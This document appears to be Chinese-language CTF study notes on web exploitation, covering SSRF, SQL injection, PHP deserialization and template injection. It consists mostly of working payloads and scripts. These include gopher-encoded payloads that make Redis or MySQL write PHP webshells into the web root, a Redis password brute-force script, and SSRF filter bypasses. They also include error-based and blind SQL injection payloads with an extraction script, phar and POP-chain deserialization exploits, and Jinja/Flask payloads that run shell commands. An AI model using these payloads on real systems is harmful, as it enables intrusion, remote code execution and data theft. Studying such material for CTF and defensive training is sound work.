30%61%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%36%33%25%36%64%25%36%34%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65%25%30%64%25%30%61%25%30%64%25%30%61%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%33%37%25%33%35%25%36%32%25%33%39%25%33%35%25%36%32%25%33%30%25%33%38%25%33%39%25%33%30%25%33%33%25%36%31%25%33%36%25%36%35%25%36%32%25%33%30%25%32%64%25%32%64%25%30%64%25%30%61%25%30%64%25%30%61%25%30%64%25%30%61
注意
如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码
Gopher发送请求:在使用gopher协议时在url后加入一个字符(该字符可随意写,常用_)
file://文件绝对路径
例如:?url=var/www/html/flag.php
file只能读本地文件
在fsockopen()的情况下
只需要使用NC和curl将get或post请求的导出,进行url编码,通过fsockopen()发送给目标ip的目标端口,就可以在内网中发生curl所产生的请求
注意:在SSRF中进行文件读取时必须通过协议,直接传路径会被认为是文件包含,只有通过协议才能发起请求
通过redisgetshell
http://127.0.0.1:6379
思路:修改redis数据保存目录为web所在目录,修改redis数据固化保存时的文件名为.php文件,写入webshell,从web业务利用
auth
利用
payload:需要修改密码%2A2%0D%0A%244%0D%0AAUTH%0D%0A%248%0D%0AP%40ssw0rd%0D%0A%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
密码爆破脚本
#coding:utf-8 import urllib.request import urllib.parse url = "http://xx.xx.xx.xx:8000/ssrf.php?url=" param = 'dict://127.0.0.1:6788/auth:' with open(r'./top100.txt', 'r') as f: for i in range(100): passwd = f.readline() all_url = url + param + passwd request = urllib.request.Request(all_url) response = urllib.request.urlopen(request).read() if "+OK\r\n+OK\r\n".encode() in response: print("redis passwd: " + passwd) break
redis存放密码的位置
/etc/redis.conf
/etc/redis/redis.conf
/usr/local/redis/etc/redis.conf
/opt/redis/ect/redis.conf
unauth
利用脚本
import urllib protocol="gopher://" ip="127.0.0.1" port="6379" shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n" filename="shell.php" path="/var/www/html" passwd="" cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd if __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload
通过fastcgi进行命令执行
http://127.0.0.1:9000
利用:使用工具gopherus3.py
绕过
@解析域名
http://abc@127.0.0.1,以用户名abc连接到站点127.0.0.1,而abc不影响连接127.0.0.1
举例
题目
分析
需要包含ctf.和以show作为结尾
payload
url=http://ctf.@127.0.0.1/flag.php#show
使用IPv6地址绕过
http://127.0.0.1=http://[::1]
使用短网址绕过
将http://127.0.0.1/flag.php转化为短网址
子域名解析
127.0.0.1.xip.io
绕过127.0.0.1
使用16进制数或8进制数绕过
IP地址转十进制数
2130706433
绕过数字和点
使用localhost绕过
长度绕过
payload
url=http://127.1/flag.php
url=http://0/flag.php
CVE-2020-7066
在使用get_headers()理论上可以一个网址的信息,但在使用%00截断的情况下,可以读取内网地址的信息
payload
get_headers(http://127.0.0.123%00www.ctfhub.com)
?url=http://127.0.0.123%00.ctfhub.com
过滤所有形式的IP地址的情况下,考虑用重定向
造一个1.php文件,内容为<?php header("Location:http://127.0.0.1/flag.php"); ?>然后放到自己的服务器上,然后传参?url=http://服务器ip/1.php
被curl包裹的情况下
工具:gopherus3.py
具体使用方法
python3 gopherus.py --host 127.0.0.1 --port 9000 --exploit fastcgi
打mysql
payload
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/2.php';
直接发
gopher://127.0.0.1:3306/_%25%61%33%25%30%30%25%30%30%25%30%31%25%38%35%25%61%36%25%66%66%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31%25%32%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%30%25%30%30%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%35%66%25%36%65%25%36%31%25%37%34%25%36%39%25%37%36%25%36%35%25%35%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%30%30%25%36%36%25%30%33%25%35%66%25%36%66%25%37%33%25%30%35%25%34%63%25%36%39%25%36%65%25%37%35%25%37%38%25%30%63%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%38%25%36%63%25%36%39%25%36%32%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%30%34%25%35%66%25%37%30%25%36%39%25%36%34%25%30%35%25%33%32%25%33%37%25%33%32%25%33%35%25%33%35%25%30%66%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%30%36%25%33%35%25%32%65%25%33%37%25%32%65%25%33%32%25%33%32%25%30%39%25%35%66%25%37%30%25%36%63%25%36%31%25%37%34%25%36%36%25%36%66%25%37%32%25%36%64%25%30%36%25%37%38%25%33%38%25%33%36%25%35%66%25%33%36%25%33%34%25%30%63%25%37%30%25%37%32%25%36%66%25%36%37%25%37%32%25%36%31%25%36%64%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%35%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%34%62%25%30%30%25%30%30%25%30%30%25%30%33%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%32%32%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%34%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%32%37%25%36%33%25%36%64%25%36%34%25%32%37%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65%25%32%32%25%32%30%25%36%39%25%36%65%25%37%34%25%36%66%25%32%30%25%36%66%25%37%35%25%37%34%25%36%36%25%36%39%25%36%63%25%36%35%25%32%30%25%32%37%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30%25%32%37%25%33%62%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31
用户名为root
打redis
payload直接发
url=gopher://127.0.0.1:6379/_%25%32%41%31%25%30%44%25%30%41%25%32%34%38%25%30%44%25%30%41%66%6c%75%73%68%61%6c%6c%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%31%25%30%44%25%30%41%31%25%30%44%25%30%41%25%32%34%33%31%25%30%44%25%30%41%25%30%41%25%30%41%25%33%43%25%33%46%70%68%70%25%32%30%65%76%61%6c%25%32%38%25%32%34%5f%50%4f%53%54%25%35%42%63%6d%64%25%35%44%25%32%39%25%33%42%25%32%30%25%33%46%25%33%45%25%30%41%25%30%41%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%63%6f%6e%66%69%67%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%64%69%72%25%30%44%25%30%41%25%32%34%31%33%25%30%44%25%30%41%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%63%6f%6e%66%69%67%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%31%30%25%30%44%25%30%41%64%62%66%69%6c%65%6e%61%6d%65%25%30%44%25%30%41%25%32%34%39%25%30%44%25%30%41%73%68%65%6c%6c%2e%70%68%70%25%30%44%25%30%41%25%32%41%31%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%73%61%76%65%25%30%44%25%30%41%25%30%41
在根下访问shell.php,密码cmd
注意,利用此工具生成的payload最好在hackbar中进行url编码
SQL注入
原理:SQL语句未进行关键字的过滤,导致在正常的SQL语句后拼接并执行危险的SQL语句从而获得数据库数据。
常规sql语句
更新
update users set password='123'
插入
INSERT INTO students (name, age) VALUES ('张三', 20);
查询
SELECT * FROM students WHERE name = '张三';
万能语法
or 1=1#
||1=1#
||1=1=1#
或||1=0=0#
xxx and password='1'='2'#
and后面的password会返回true,此时只需要判断XXX所涉及的SQL语句就可以
信息收集
当前数据库名
database()
schema()
数据库版本
version()
当前用户
user()
注入关键字
联合注入
union select
联合查询时,两张表的列数必须相等
例:select ***unionselect****
判断列数
group by
排序 (判断列)
order by
例:order by 1 正常返回时,证明当前表存在1列
限制
limit
例:limit N,M 从N+1条输出M条
合并到一行显示
group_concat()
连接
concat()
注入思路
判断注入点
通过是否报错判断
and 1=2报错
and 1=1不报错
使用运算符判断
- * /,(减,乘,除)加号不可以
例:?id=4-1
延时判断
and sleep(10)
判断列数
原理:真实列数必须与order by的列数一致才不会报错
order by
例:假设3列 order by 3
group by
例:假设3列 group by 3
确定回显
有回显
使用union查询时若union之前的语句正确执行,则不会执行union后的语句
payload:1' union select 1,2,3#
无回显
报错注入
时间盲注
布尔盲注
爆库名
可直接通过database()来获得当前库名
union select schema_name from information_schema.schemata
返回所有数据库名
爆表名
所有的表名都记录在information_schema.tables这张表中
union select group_concat(table_name) from information_schema.tables where table_schema='库名'
爆列名
所有的列名都记录在information_schema.columns这张表中
union select group_concat(column_name) from information_schema.columns where table_name='表名'
在输入表名时,若表名带有符号,则需要使用反引号包裹
例:`[flag]`
爆数据
获得了表名,列名,直接查询即可
union select group_concat(id,user,pass) from 表名
注入类型
字符型
注意符号闭合
闭合类型 (或者此三项的组合)
‘
“
)
%'
‘))
"))
'')
整型
可直接注入
宽字节注入
原理:addslashes()会在引号和\前加反斜杠,起到转义的作用。添加半个中文字符与\结合产生一个中文字符,从而绕过转义
payload:11%8f||1=1#
报错注入
使用条件:在无数据回显,但存在输出数据库报错信息的情况下使用。
方法
构造目标查询语句
选择报错注入函数
种类
重点
floor();
原理:主要报错原因为:count()+rand()+group_by()导致主键重复
具体payload
爆库
?id=-1" union select 1,2,count(*) from information_schema.tables group by concat(0x7e,database(),0x7e,floor(rand(0)*2))--+
爆表
?id=-1" or (select 1 from (select count(*),concat(0x23,(select table_name from information_schema.tables where table_schema='ctfshow' limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+
每次只能看一行数据
爆列
?id=-1" or (select 1 from (select count(*),concat(0x23,(select column_name from information_schema.columns where table_name='flagpa' limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+
爆数据
?id=-1" or (select 1 from (select count(*),concat(0x23,(select flag3a3 from ctfshow.flagpa limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+
extractvalue();
原本的功能:共接受2个参数,extractvalue(XML文档,XPATH路径)
注入时,使用payload:and extractvalue(1,concat(0x7e,(select)))--+
此时此函数一定会报错,但在报错之前会执行select
上述payload在使用后默认输出32个字符,使用substring(select,30,62)可以查看30位之后的后32位数据
具体payload
已知库爆表
?id=-1" or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+
爆列
?id=-1" or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flagpa')))--+
爆数据
?id=-1" or extractvalue(1,concat(0x7e,(select group_concat(id,flag3a3) from ctfshow.flagpa)))--+
如果显示不全,看后半段
?id=-1" or extractvalue(1,concat(0x7e,substring((select group_concat(id,flag3a3) from ctfshow.flagpa),30,62)))--+
updatexml();
具体payload
爆表
?id=-1" or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
爆列
?id=-1" or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flagpa'),0x7e),1)--+
爆数据
?id=-1" or updatexml(1,concat(0x7e,(select group_concat(id,flag3a3) from ctfshow.flagpa),0x7e),1)--+
如果显示不全,看后半段
?id=-1" or updatexml(1,concat(0x7e,substring((select group_concat(id,flag3a3) from ctfshow.flagpa),30,62),0x7e),1)--+
geometrycollection();
multipoint();
polygon();
multipolygon();
linestring();
multilinestring();
exp()
构造报错注入语句
执行payload
布尔盲注
使用条件:在无数据回显且无SQL报错回显的情况下使用。
方法
使用length()函数对数据长度进行判断
id=1' and length((select database()))=X--+
使用substr()函数截取要获得数据的各个字符
substr(字符串,第N位开始,截取M个字符)
注入时:substr(string,N,1)
使用ascii()函数对分别对各个字符的ascii码值进行判断,若正确则有正常提示,错误则无提示
id=1' and ascii(substr((select database()),1,1))=X--+
汇总所有正确的ascii码,还原成数据
时间盲注
使用条件:在无数据回显且无报错回显,并且测试时无任何现象的情况下使用。
方法:
使用sleep()进行注入点测试
payload:?id=1' sleep(5) --+
使用leng()获得数据长度
payload:length(database())
使用substr()获得数据的每一位
使用ascii()将数据的每一位转成ascii码
使用if判断每一位是否正确,正确则触发延时,错误则返回一个无意义的值
举例:
爆库
爆库长度
payload:if(length((select database()))=X,sleep(5),1)--+
payload2:if(length((select schema_name from information_schema.schemata))=X,sleep(5),1)--+
爆库数据
payload:if(ascii(substr(database(),X,1))=Y,sleep(5),1)--+
意为:判断database()返回值的第X位,是否等于Y,如果是则sleep(5)
payload2:if(ascii(substr(((select schema_name from information_schema.schemata limit Z,1)),X,1))=Y,sleep(5),1)--+
爆表
爆表长度
payload:if(length((select table_name from information_schema.tables where table_schema='数据库名' limit X,1))=Y,sleep(5),1)--+
意为:一个数据库内有多张表,使用limit以第X个表名开始,选1个表名。注意X从零开始
爆表数据
payload:if(ascii(substr(((select table_name from information_schema.tables where table_schema='数据库名' limit Z,1)),X,1))=Y,sleep(5),1)--+
意为:取数据库内的多张表中从Z开始的一张表,再取其表名称的X位开始的1个字符并获得其ASCII码,与Y判断是否一致
爆列
爆列长度
payload:if(length((select column_name from information_schema.columns where table_name='数据表名' limit Z,1))=X,sleep(5),1)--+
意为:获取数据表内的多个列名,从Z开始的一个列并获得其长度,判断是否与X一致
爆列数据
payload:if(ascii(substr(((select column_name from information_schema.columns where table_name='数据表名' limit Z,1)),X,1))=Y,sleep(5),1)
爆数据
爆数据长度
payload:if(ascii(length((select 列名 from 表名 limit X,1)))=Y,sleep(5),1)--+
爆数据
payload:if(ascii(substr(((select 列名 from 表名 limit Z,1)),X,1))=Y,sleep(5),1)--+
基于约束的sql攻击
原理:约束是指建表时指定各列字符的长度,比如长度为10,插入字符大于10时,就会被截断, 比如插入admin12345678,此字符串长度大于10,则实际插入的值为admin12345
payload
可以通过注册admin加很多空格这种形式进行绕过
具体
admin 1
加1是为了不被去空格函数过滤
堆叠注入
典型SQL语句1
$sql = "select ".$post['query']."||flag from Flag";
bypass1:构造语句 *,1
select *,1||flag from Flag
bypass2: 将sql_mode的值设置为PIPES_AS_CONCAT,从而将 || 视为字符串的连接操作符而非或运算符
1;set sql_mode=PIPES_AS_CONCAT;select 1
最终语句:select 1,flag from Flag
可以使用多个SQL语句进行注入,使用分号分隔
例:?id=1;select schema()#
获得当前表名
?id=1';show+tables;#获取到所有的表
获得字段名
show columns from 表名;#获取到表中的字段名
各类型注入payload测试是否存在注入时使用
1' or '1'='1'##or语句 1' order by 3##order语句 1' union select 1,2,3##联合查询 1'and(select extractvalue(1,concat('~',(select database()))))#报错注入 1' and if(length(database())>1,sleep(5),1)--+#时间注入 1;show databases# 堆叠注入
闭合符号可能会换
绕过
绕过空格
使用注释/**/绕过
使用+代替空格
使用不可见字符
%07-%0d
使用()
payload:select(id)from(users)
多行时: select(concat(id,username))from(users)
id=-1'union(select(select(group_concat(password))from(ctfshow_user)),1,2)%23
1'or(1=1)%23
使用引号
'or'1'='1'%23
绕过注释
id=1'or'1'='1'--%07
id=-1'or(username)='flag
username字段和flag内容
绕过逗号
使用join连接两张表产生列
payload:select * from (select 1) a join (select 2) b;
效果:等价于 select 1,2;
绕过等于号
将=换为in('某值')
使用like '%1'
使用rlike '1'
使用 rgexp '^1'
绕过关键字过滤
使用随机大小写
双写
or
payload:oorr
堆叠
测试payload
1';show database();#
具体操作
handler语法
打开表
handler 表名 OPEN;
读取一行数据
必须读取首行数据
handler 表名 READ FIRST;
读取下一行数据
handler 表名 READ NEXT;
关闭表(可以不关闭)
handler 表名 CLOSE;
payload
?inject=1';handler+`1919810931114514`+OPEN;handler+`1919810931114514`+READ+FIRST;handler+`1919810931114514`+READ+NEXT;%23
使用handler语法需要连贯使用不能分开,在表名有数字的情况下需要用反引号引起来
注意
每条SQL语句使用分号隔开
使用like
payload
原:id=-1'or(username)='flag
过滤flag的情况下
改:id=-1'or(username)like'%fl%
绕过仅允许单字符
通过\
绕过[]
使用反引号包含
`[]`
关键函数绕过
ascii()平替函数
ord()
substr()平替
mid()
payload
wllm=-1’union select 1,2,mid(group_concat(flag),20,20) from tes
从flag字段中的第20位开始截取20位进行输出
right()
用于从字符串的右侧返回指定数量的字符
right(string, number_of_chars)
REVERSE ( 字符串 )
将字符串中的字符顺序反转,并返回一个新的字符串
数据经过hash加密后产生 '='导致永真从而绕过
||1=1=1#
或||1=0=0#
逻辑绕过
二阶注入
绕过结果过滤
绕过结果中的可见字符
解法:可以直接将结果输出到某个文件内,然后再去读取这个文件
payload
' union select username, password from ctfshow_user5 into outfile '/var/www/html/flag.txt' %23
绕过过滤结果中的目标字符
结果中过滤了flag字符串
举例
payload
-1' union select id,2,password from ctfshow_user3 where username='flag' -- +
将2做为占位(回显位),此种做法在sql结果中的username字段不会显示flag字符串
绕过过滤结果中的数字
方法:在目标结果都是数字,而且输出时过滤了数字,可以使用replace函数将结果转化为字母进行输出,然后再将字母转化为数字,从而获得flag
举例
replace函数的用法: replace(原字符串,被替换的字符串,要替换成的字符串)
replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0','_a_'),'1','_b_'),'2','_c_'),'3','_d_'),'4','_e_'),'5','_f_'),'6','_g_'),'7','_h_'),'8','_i_'),'9','_j_')
意为将password字段的内容中的数字转化为字符,为了区分原内容是数字还是字符,所以转化为带下划线的字母
payload
-1' union select 'a', replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0','_a_'),'1','_b_'),'2','_c_'),'3','_d_'),'4','_e_'),'5','_f_'),'6','_g_'),'7','_h_'),'8','_i_'),'9','_j_') from ctfshow_user4 where username ='flag' --+
逆运算脚本
#获得输出值后的逆运算方法如下: k="bb_h_bb_c__c__e_-_i_e_c_d-_e__i__f__a_-_i__g__i__f_-_g__g__d_b_h_ea_a_f_b_c_d_" c=len(k) flag="" i=0 while(i<c): if(k[i]) != '_': flag=flag+k[i] i=i+1 else: flag=flag+ chr(ord(k[i+1])-49) i=i+3 print(flag)
脚本
布尔盲注脚本
import requests session = requests.Session() sql = 'select group_concat(userid,0x7e,password,0x7e,username) from users' length = 0 result = '' while True: paramsPost = {"register":"1'||length((%s))=%d\x23" % (sql, length)} response = session.post("http://192.168.1.118/web/web29/register.php", data=paramsPost) if 'has already registered' in response.text : print('query result length:', length) break length += 1 for i in range(1, length + 1): for j in range(33, 128) : paramsPost = {"register":"1'||ord(mid((%s),%d,1))=%d\x23"%(sql, i, j)} response = session.post("http://192.168.1.118/web/web29/register.php", data=paramsPost) if 'has already registered' in response.text : result += chr(j) break print('%d : %s' % (i, result))
sql语句写shell
?id=1')) union select 1,2, '<?=eval($_POST["cmd"])?>' into outfile '/var/www/html/3.php'--+
反序列化
定义:把内存中的数据转换成字节流进行传输
解题思路
1.先复制类
2.在复制的类中修改对应的值,以达到目的
此处非常灵活,在有变量,有函数的类中,若只需要将变量进行修改,则可以删除类中的函数,只留下变量
3.序列化步骤2中的类
4.打入payload
类型
PHP
基础知识
反序列化后的基本类型表达
布尔值(bool):b:value;=>b:0;
整数型(int):i:value;=>i:1;
字符串型(str):s:length:"value";=>s:4:"aaaa";
数组型(array):a:<length>:{key,value};=>a:1:{i:1;s:1:"a"};
对象型(object):O:<class_name_length>:<class_name>:<number_of_properties>:{<properties>};===>类型:长度:值
NULL型:N
调用类中函数
类名::函数名
魔术方法
_construct
当对象被创建时调用
优先级高于_wakeup
_destruct
当对象被销毁时触发
无条件触发
_toString
当对象被当作一个字符串使用时
echo $this->w00m
会触发w00m类中的_toString()方法
_sleep
使用serialize时
_wakeup
使用unserialize时
_call
当调用对象中不存在在方法时
_get
从不可访问的属性读取数据时
_set
将数据写入不可访问的属性时
__invoke()
调用函数的方式调用一个对象时,该方法会自动被触发
__autoload()
在代码中当调用不存在的类时会自动调用该方法。
在有unseralize()函数的情况下
在无unseralize()函数的情况下
phar反序列化
原理:当文件操作函数通过phar://伪协议解析phar文件时,php会使用phar_parse_metadata解析meta数据,同时会调用php_var_unseralize进行反序列化操作。
举例
题目
分析
get方法先传一个0控制A类的config,进行写入或读取。将phar文件构造完成后,进行gzip打包,然后整体url编码。再进行上传,通过post的0参数进行phar:///tmp/a.txtF进行访问会自动反序列化phar文件中的序列化内容,从而获得flag。
payload
程序
<?php class getflag {} //目标类 //////创建一个phar $obj=new getflag; $p = new Phar('./demo.phar',0); $p->startBuffering(); $p->setMetadata($obj);//赋值之后自动序列化 $p->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>'); $p->addFromString('test.txt','text');//test.txt可以换为任意值 $p->stopBuffering(); /////////////创建一个phar //echo urlencode(file_get_contents('./demo.phar.gz')); ?>
gzip打包:linux下gzip deom.phar
整体url编码
echo urlencode(file_get_contents('./demo.phar.gz'));
session反序列化
原理:在在使用不同的处理器时,序列化的格式也不相同,假如使用php_serialize,而再使用php处理器反序列化时,就会产生注入
场景
http请求时写入session变量
在调用session变量时会自动将序列化的变量内容进行反序列化
在文件上传时
在文件上传时的文件名会写入后台的session文件中,会自动将序列化的内容进行反序列化
举例
php_serialize序列化后的值=a:1:{s:1:"a";s:16:"|O:4:"test":0:{}";} 而根据php的反序列化格式( 键名 + 竖线 +值 ) 所以在使用php处理器只会反序列化|O:4:"test":0:{}";},而处理|之前的。 所以将payload前面加|打入
骚操作
绕过_wakeup
要求:版本限制:PHP5 < 5.6.25 | PHP7 < 7.0.10
内容:当属性个数与属性值不一致时,会跳过_wakeup方法
举例
修改前payload=O:4:"flag":1:{s:4:"flag";s:4:"FLAG";} 修改后payload=O:4:"flag":2:{s:4:"flag";s:4:"FLAG";} 此时属性个数与属性值的数量不一致,触发绕过漏洞
字符逃逸
原理:在存在替换或导致序列化后的长度与实际字符串不一致的情况下,可以通过加长特字字符串长度来使原来的参数在反序列化时修改为其它值。
字符增多逃逸:第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性,构造出一个逃逸成员属性
字符减少逃逸:第一个字符串减少,吃掉有效代码,在第二个字符串构造代码,多逃逸出一个成员属性
举例
题目
分析
此题目的在于将$func的值赋为“FLAG”,但传入ser时要经过替换,所以我们通过插入多个aa来使用payload溢出到恰好为";s:4:"func";s:4:"FLAG";}的长度,此时序列化后的数据也恰好闭合,使得func的值被我们可控。
payload
?ser=O:4:"flag":2:{s:4:"flag";s:50:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";s:4:"func";s:4:"FLAG";}
POP链
原理:反序列化时,在当前类不满足目标要求时,需要根据当前情况进行函数的跳跃调用,从而达到目的。赋值数组时,无法直接给变量赋值,需要使用public function __construct(){}方法进行赋值
举例
题目
分析
输出的payload中的Fun和func用private修饰,所以在浏览器里需要加%00
payload
<?php class Fun{ private $func = 'call_user_func_array'; public function __construct(){ $this->func=[new Test,'x']; } } class Test{ //flag in /flag.txt public $file = '/flag.txt'; } class A { public $a; } class B { public $p; } $yuan=new B; $A=new A; $yuan->a=$A; $A->a=new Fun; echo urlencode(serialize($yuan)) ; ?>
强制GC
原理:使用数组进行赋值,数组中的第一个值为目标,第二个值随意,在反序列化时,把第二个值的索引改为第一个值的索引,将会强制执行__destruct()
举例
题目
分析
将数组中的第二个值的索引改为0,从而覆盖flag类,当flag类被覆盖时,会调用__destruct()方法,从而获得flag值
payload
?ser=a:2:{i:0;O:4:"flag":1:{s:4:"flag";s:4:"FLAG";}i:0;s:1:"X";}
<?php class flag { public $flag="FLAG"; public function __destruct(){ if($this->flag === "FLAG"){ echo getenv("FLAG"); } } } $a= array(new flag(),"X"); echo serialize($a); ?>
原生类利用
使用条件:在CTF中常以echo new $a($b);这种形式出现,也可用于RCE。
类型
目录遍历类(相当于ls)
DirectoryIterator
FilesystemIterator
GlobIterator (常用)
文件读取类(相当于cat)
SplFileObject (常用)
报错类
Error/Exception
其它类
ReflectionMethod
ZipArchive
举例
题目
分析
分析程序可知,使用原生类,第一步先确定flag所在路径,第二读取flag的值
payload
第一步
?ser=O:4:"flag":2:{s:1:"c";s:12:"GlobIterator";s:1:"f";s:3:"/f*";}
源代码
<?php class flag { public $c="GlobIterator"; public $f="/f*"; public function __toString(){ echo new $this->c($this->f); return "FLAG"; } } echo serialize(new flag()); ?>
第二步
?ser=O:4:"flag":2:{s:1:"c";s:13:"SplFileObject";s:1:"f";s:12:"/flllaaaaggg";}
源代码
<?php class flag { public $c="SplFileObject"; public $f="/flllaaaaggg"; public function __toString(){ echo new $this->c($this->f); return "FLAG"; } } echo serialize(new flag()); ?>
将序列化内容的数字前加加号绕过正则
举例
题目
分析
需要将file的值改为'fl4g.php'即可,同时绕过__wakeup, 最下方正则过滤o:4这种形式的字符串,可以通过o:+4这种形式绕过
payload
<?php class Demo { private $file; public function __construct() { $this->file = 'fl4g.php'; } } $s=new Demo; $a= serialize($s) ; $a=str_replace("O:4","O:+4",$a); $a=str_replace(":1:",":2:",$a); echo base64_encode($a); ?>
数组也可以反序列化
举例
分析
使用数组给username和password赋值,又因为username和password被二次修改所以不能赋原来的值。又因为是弱比较,所以给username和password赋值true,true与任何比都是真
payload
<?php $aa=array ( "username"=>true, "password"=>true ); print(urlencode(serialize($aa))); ?>
引用变量,使用&变量 达到与某个变量的值实时同步的效果,从而绕过某些是否一致的判断
protected类型的参数在进行序列化时会产生%00空字符,但在PHP7.1以上版本可以直接替换为public类型参数,即可绕过%00
Java
SSTI
原理:在模板渲染之前就填入数据,造成注入
模板框架
jinja
flask
Smarty
payload直接在注入点内输入
{if phpinfo()}{/if}
{system('ls')}
在php5环境下
{literal}<script language="php">phpinfo();</script>{/literal}
很多题目的注入点是x-forwarded-for
判断注入点
"Hello%s"%name
"Hello%(name)s"%{"name":"Meow"}
"Hello{0}".format(name)
"Hello{name}".format(name="Meow")
f"Hello{name}"
payload
经典payload
flask框架
{{url_for.__globals__['__builtins__'].__import__('os').system('ls')}}
jinja
第一种
{{config.__init__.__globals__.__builtins__.eval('__import__("os").popen("ls").read()')}}
原理分析:config是一个很大的类,在其中找到相关的子类,再从其子类中找到相关命令执行的函数,最后执行命令。
第二种
{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__.popen("ls").read()}}
原理分析:使用__class__查看[]所属的类,再通过__base__查看其基类,必须当基类为object时才可以使用__subclasses__查找子类,查找出的子类会很多,132表示查找结果的第132个元素,通过该类可以实现命令执行。
实测常用可能是132,也可能是127,137
最前方[]可替换为()或''
执行代码
{% 代码 %}
读、写任意文件
写
{{().__class__.__base__.__subclasses__()[40]("/flag","a").write("1")}}
40需要找到<type 'file'>在{{[].__class__.__base__.__subclasses__()}}中的位置
a代表追加写入,内容为1
将a换为w代表覆盖写入
读
{{[].__class__.__base__.__subclasses__()[99].get_data(0,'/flag')}}
99需要找到<class '_frozen_importlib_external.FileLoader'>在{{[].__class__.__base__.__subclasses__()}}中的位置
{{().__class__.__base__.__subclasses__()[40]("/flag").read()}}
40需要找到<type 'file'>在{{[].__class__.__base__.__subclasses__()}}中的位置
执行命令
name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__.popen("ls").read()}}
132需要找到<class 'os._wrap_close'>在{{[].__class__.__base__.__subclasses__()}}中的位置
__import__('os').system('ls')
__import__("os").system('ls%20/>/app/static/1.txt')
